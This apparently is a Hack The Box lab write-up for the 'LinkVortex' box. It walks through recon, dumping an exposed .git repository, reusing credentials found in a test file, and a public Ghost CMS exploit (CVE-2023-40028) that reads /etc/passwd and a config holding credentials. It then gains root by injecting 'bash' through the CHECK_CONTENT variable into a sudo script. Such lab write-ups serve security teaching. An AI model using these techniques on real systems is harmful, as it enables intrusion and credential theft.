#hackthebox #linux #easy ![[Pasted image 20250821000452.png]] # Information Gathering - Nmap I opened the box with scanning all TCP ports and discovered 2 open ports: 22 and 80 ```bash ┌──(kali㉿kali)-[~/Desktop] └─$ nmap $IP -Pn -n --open --min-rate 3000 -p- Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-21 02:02 UTC Nmap scan report for 10.10.11.47 Host is up (0.061s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http Nmap done: 1 IP address (1 host up) scanned in 17.41 seconds ``` After that, I ran another TCP port scan against ports 22 and 80 using the `-sCV` option. ```bash ┌──(kali㉿kali)-[~/Desktop] └─$ nmap $IP -sCV -p 22,80 Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-21 02:04 UTC Nmap scan report for 10.10.11.47 Host is up (0.050s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 3e:f8:b9:68:c8:eb:57:0f:cb:0b:47:b9:86:50:83:eb (ECDSA) |_ 256 a2:ea:6e:e1:b6:d7:e7:c5:86:69:ce:ba:05:9e:38:13 (ED25519) 80/tcp open http Apache httpd |_http-title: Did not follow redirect to http://linkvortex.htb/ |_http-server-header: Apache Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 8.53 seconds ``` Lastly, I performed a UDP scan on the top 10 ports. ```bash ┌──(kali㉿kali)-[~/Desktop] └─$ nmap $IP -sU --top-ports 10 Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-21 02:10 UTC Nmap scan report for 10.10.11.47 Host is up (0.048s latency). PORT STATE SERVICE 53/udp closed domain 67/udp open|filtered dhcps 123/udp closed ntp 135/udp closed msrpc 137/udp closed netbios-ns 138/udp closed netbios-dgm 161/udp closed snmp 445/udp open|filtered microsoft-ds 631/udp closed ipp 1434/udp closed ms-sql-m Nmap done: 1 IP address (1 host up) scanned in 5.12 seconds ``` # Enumeration ##### HTTP - TCP 80 I mapped the IP address and the domain in the `/etc/hosts` file. ```bash ┌──(kali㉿kali)-[~/Desktop] └─$ echo '10.10.11.47 linkvortex.htb' | sudo tee -a /etc/hosts [sudo] password for kali: 10.10.11.47 linkvortex.htb ``` The landing page on port 80 looks like this. ![[Pasted image 20250820212041.png]] `/robots.txt` has some entries for me to explore. ![[Pasted image 20250820212439.png]] `/sitemap.xml` says this page is generated by `Ghost` to allow search engines to discover this blog's content. I also figured this site was built with `Ghost` by looking at the footer. ![[Pasted image 20250820212544.png]] ![[Pasted image 20250820212801.png]] `/ghost` reveals a login form ![[Pasted image 20250820212601.png]] Enumerating for subdomains revealed `dev.linkvortex.htb` ```bash ┌──(kali㉿kali)-[~/Desktop] └─$ ffuf -u http://$IP -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -H "Host: FUZZ.linkvortex.htb" -fw 14 /'___\ /'___\ /'___\ /\ \__/ /\ \__/ __ __ /\ \__/ \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\ \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/ \ \_\ \ \_\ \ \____/ \ \_\ \/_/ \/_/ \/___/ \/_/ v2.1.0-dev ________________________________________________ :: Method : GET :: URL : http://10.10.11.47 :: Wordlist : FUZZ: /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt :: Header : Host: FUZZ.linkvortex.htb :: Follow redirects : false :: Calibration : false :: Timeout : 10 :: Threads : 40 :: Matcher : Response status: 200-299,301,302,307,401,403,405,500 :: Filter : Response words: 14 ________________________________________________ dev [Status: 200, Size: 2538, Words: 670, Lines: 116, Duration: 54ms] :: Progress: [4989/4989] :: Job [1/1] :: 840 req/sec :: Duration: [0:00:06] :: Errors: 0 :: ``` `dev.linkvortex.htb` has nothing but a sign that announces the site is still under construction. ![[Pasted image 20250820215400.png]] I hit a dead end, so I tried running `nmap` again but this time against the domain and the subdomain I discovered. Nmap against the domain revealed `/robots.txt`, which it didn't output when I ran it against the IP address. ```bash ┌──(kali㉿kali)-[~/Desktop] └─$ nmap -sCV linkvortex.htb -p 80 Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-21 02:58 UTC Nmap scan report for linkvortex.htb (10.10.11.47) Host is up (0.047s latency). PORT STATE SERVICE VERSION 80/tcp open http Apache httpd |_http-generator: Ghost 5.58 | http-robots.txt: 4 disallowed entries |_/ghost/ /p/ /email/ /r/ |_http-title: BitByBit Hardware |_http-server-header: Apache Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 8.64 seconds ``` I found a `Git` repository when I ran `nmap` against the subdomain `dev.linkvortex.htb`. ```bash ┌──(kali㉿kali)-[~/Desktop] └─$ nmap dev.linkvortex.htb -sCV -p 80 Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-21 03:03 UTC Nmap scan report for dev.linkvortex.htb (10.10.11.47) Host is up (0.048s latency). rDNS record for 10.10.11.47: linkvortex.htb PORT STATE SERVICE VERSION 80/tcp open http Apache httpd | http-git: | 10.10.11.47:80/.git/ | Git repository found! | Repository description: Unnamed repository; edit this file 'description' to name the... | Remotes: |_ https://github.com/TryGhost/Ghost.git |_http-server-header: Apache |_http-title: Launching Soon Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 8.38 seconds ``` ![[Pasted image 20250820220528.png]] I dumped the whoe `.git` directory with `git-dumper` ```bash ┌──(kali㉿kali)-[~/Desktop] └─$ git-dumper http://dev.linkvortex.htb/.git git_loot [-] Testing http://dev.linkvortex.htb/.git/HEAD [200] [-] Testing http://dev.linkvortex.htb/.git/ [200] [-] Fetching .git recursively [-] Fetching http://dev.linkvortex.htb/.gitignore [404] [-] http://dev.linkvortex.htb/.gitignore responded with status code 404 [-] Fetching http://dev.linkvortex.htb/.git/ [200] [-] Fetching http://dev.linkvortex.htb/.git/refs/ [200] [-] Fetching http://dev.linkvortex.htb/.git/description [200] ... <SNIP> ... [-] Fetching http://dev.linkvortex.htb/.git/objects/e6/54b0ed7f9c9aedf3180ee1fd94e7e43b29f000 [200] [-] Sanitizing .git/config [-] Running git checkout . Updated 5596 paths from the index ``` `git status` command reveals that two files are currently in stage meaning there have been changes to those two files. ```bash ┌──(kali㉿kali)-[~/Desktop/git_loot] └─$ git status Not currently on any branch. Changes to be committed: (use "git restore --staged <file>..." to unstage) new file: Dockerfile.ghost modified: ghost/core/test/regression/api/admin/authentication.test.js ``` `Dockerfile.ghost` ```bash ┌──(kali㉿kali)-[~/Desktop/git_loot] └─$ git diff --staged Dockerfile.ghost diff --git a/Dockerfile.ghost b/Dockerfile.ghost new file mode 100644 index 0000000..50864e0 --- /dev/null +++ b/Dockerfile.ghost @@ -0,0 +1,16 @@ +FROM ghost:5.58.0 + +# Copy the config +COPY config.production.json /var/lib/ghost/config.production.json + +# Prevent installing packages +RUN rm -rf /var/lib/apt/lists/* /etc/apt/sources.list* /usr/bin/apt-get /usr/bin/apt /usr/bin/dpkg /usr/sbin/dpkg /usr/bin/dpkg-deb /usr/sbin/dpkg-deb + +# Wait for the db to be ready first +COPY wait-for-it.sh /var/lib/ghost/wait-for-it.sh +COPY entry.sh /entry.sh +RUN chmod +x /var/lib/ghost/wait-for-it.sh +RUN chmod +x /entry.sh + +ENTRYPOINT ["/entry.sh"] +CMD ["node", "current/index.js"] ``` `ghost/core/test/regression/api/admin/authentication.test.js` reveals a set of credentials. `[email protected]:OctopiFociPilfer45`. The original password was `thisissupersafe` ```bash ┌──(kali㉿kali)-[~/Desktop/git_loot] └─$ git diff --staged ghost/core/test/regression/api/admin/authentication.test.js diff --git a/ghost/core/test/regression/api/admin/authentication.test.js b/ghost/core/test/regression/api/admin/authentication.test.js index 2735588..e654b0e 100644 --- a/ghost/core/test/regression/api/admin/authentication.test.js +++ b/ghost/core/test/regression/api/admin/authentication.test.js @@ -53,7 +53,7 @@ describe('Authentication API', function () { it('complete setup', async function () { const email = '[email protected]'; - const password = 'thisissupersafe'; + const password = 'OctopiFociPilfer45'; const requestMock = nock('https://api.github.com') .get('/repos/tryghost/dawn/zipball') ``` I tried the credentials found, but they did not work on `/ghost`. ![[Pasted image 20250820224011.png]] I changed the email address to `[email protected]` and it worked! ![[Pasted image 20250820224111.png]] I successfully logged in as `[email protected]` ![[Pasted image 20250820224424.png]] From the 2nd `Nmap` output, we saw the version of `Ghost` running is `5.58`. Searching for `Ghost 5.58 exploit` led me to this Github repo. Apparently therer was a known CVE to this version of Ghost CMS. `CVE-2023-40028` ![[Pasted image 20250820225754.png]] # Initial Access - Shell as `bob` I downloaded the exploit. ```bash ┌──(kali㉿kali)-[~/Desktop] └─$ ./CVE-2023-40028 -h ./CVE-2023-40028: option requires an argument -- h Usage: ./CVE-2023-40028 -u <username> -p <password> -h <host_url> Example: ./CVE-2023-40028 -u admin -p admin123 -h http://127.0.0.1 ``` Okay, the exploit is working perfectly when I used the credentials and the URL passed as parameters. ```bash ┌──(kali㉿kali)-[~/Desktop] └─$ ./CVE-2023-40028 -u '[email protected]' -p 'OctopiFociPilfer45' -h 'http://linkvortex.htb' WELCOME TO THE CVE-2023-40028 SHELL Enter the file path to read (or type 'exit' to quit): /etc/passwd File content: root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin node:x:1000:1000::/home/node:/bin/bash ``` Remember that we saw `Dockerfile.ghost` revealed the path of the config file. I entered the file path `/var/lib/ghost/config.production.json` and it returned the file content including the credentials of user `bob`. `[email protected]:fibber-talented-worth` ```bash Enter the file path to read (or type 'exit' to quit): /var/lib/ghost/config.production.json File content: { "url": "http://localhost:2368", "server": { "port": 2368, "host": "::" }, "mail": { "transport": "Direct" }, "logging": { "transports": ["stdout"] }, "process": "systemd", "paths": { "contentPath": "/var/lib/ghost/content" }, "spam": { "user_login": { "minWait": 1, "maxWait": 604800000, "freeRetries": 5000 } }, "mail": { "transport": "SMTP", "options": { "service": "Google", "host": "linkvortex.htb", "port": 587, "auth": { "user": "[email protected]", "pass": "fibber-talented-worth" } } } } ``` The password format is very unusual. I tested the credentials against the login form of `/ghost` but they didn't work. ![[Pasted image 20250820231628.png]] However, they worked against the SSH server! ```bash ┌──(kali㉿kali)-[~/Desktop] └─$ ssh bob@$IP The authenticity of host '10.10.11.47 (10.10.11.47)' can't be established. ED25519 key fingerprint is SHA256:vrkQDvTUj3pAJVT+1luldO6EvxgySHoV6DPCcat0WkI. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '10.10.11.47' (ED25519) to the list of known hosts. [email protected]'s password: Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 6.5.0-27-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/pro This system has been minimized by removing packages and content that are not required on a system that users do not log into. To restore this content, you can run the 'unminimize' command. Last login: Tue Dec 3 11:41:50 2024 from 10.10.14.62 bob@linkvortex:~$ whoami bob ``` I found `user.txt` ```bash bob@linkvortex:~$ cat user.txt b35... ``` # Privilege Escalation - shell as `root` `sudo -l` shows that `bob` can execute the following command as `sudo`. ```bash bob@linkvortex:~$ sudo -l Matching Defaults entries for bob on linkvortex: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty, env_keep+=CHECK_CONTENT User bob may run the following commands on linkvortex: (ALL) NOPASSWD: /usr/bin/bash /opt/ghost/clean_symlink.sh *.png ``` I'll briefly explain what `/opt/ghost/clean_symlink.sh` does: 1. Accepts a `.png` file path as the first argument. 2. Checks if it's a symbolic link 3. Blocks links pointing to critical system paths: `/etc` or `/root` 4. Move safe links to a quarantine directory. 5. Optionally displays the contents if `CHECK_CONTENT=true`. ```bash bob@linkvortex:~$ cat /opt/ghost/clean_symlink.sh #!/bin/bash QUAR_DIR="/var/quarantined" if [ -z $CHECK_CONTENT ];then CHECK_CONTENT=false fi LINK=$1 if ! [[ "$LINK" =~ \.png$ ]]; then /usr/bin/echo "! First argument must be a png file !" exit 2 fi if /usr/bin/sudo /usr/bin/test -L $LINK;then LINK_NAME=$(/usr/bin/basename $LINK) LINK_TARGET=$(/usr/bin/readlink $LINK) if /usr/bin/echo "$LINK_TARGET" | /usr/bin/grep -Eq '(etc|root)';then /usr/bin/echo "! Trying to read critical files, removing link [ $LINK ] !" /usr/bin/unlink $LINK else /usr/bin/echo "Link found [ $LINK ] , moving it to quarantine" /usr/bin/mv $LINK $QUAR_DIR/ if $CHECK_CONTENT;then /usr/bin/echo "Content:" /usr/bin/cat $QUAR_DIR/$LINK_NAME 2>/dev/null fi fi fi ``` I'm going to exploit `$CHECK_CONTENT` variable. The author of this code is expecting `$CHECK_CONTENT` variable to have a value of either `true` or `false`. However, if you think about it, `true` is equivalent to `1` and `false` is equivalent to `0`. ```bash if [ -z $CHECK_CONTENT ];then CHECK_CONTENT=false fi ``` However, I can pass other commands to the variable. First, I still need to create a symlink. ```bash bob@linkvortex:~$ ln -s wook.png bob@linkvortex:~$ ls -l wook.png lrwxrwxrwx 1 bob bob 8 Aug 21 04:56 wook.png -> wook.png ``` Now run the following command. ```bash CHECK_CONTENT=bash sudo bash /opt/ghost/clean_symlink.sh wook.png ``` Internally, this will run like this and `bash` will be executed with `root` privileges because the script itself was run with `sudo`. ```bash if bash; then ... fi ``` Got an interactive shell as `root`. ```bash bob@linkvortex:~$ CHECK_CONTENT=bash sudo bash /opt/ghost/clean_symlink.sh wook.png Link found [ wook.png ] , moving it to quarantine root@linkvortex:/home/bob# whoami root ``` Found `root.txt` ```bash root@linkvortex:~# ls root.txt root@linkvortex:~# cat root.txt c67... ```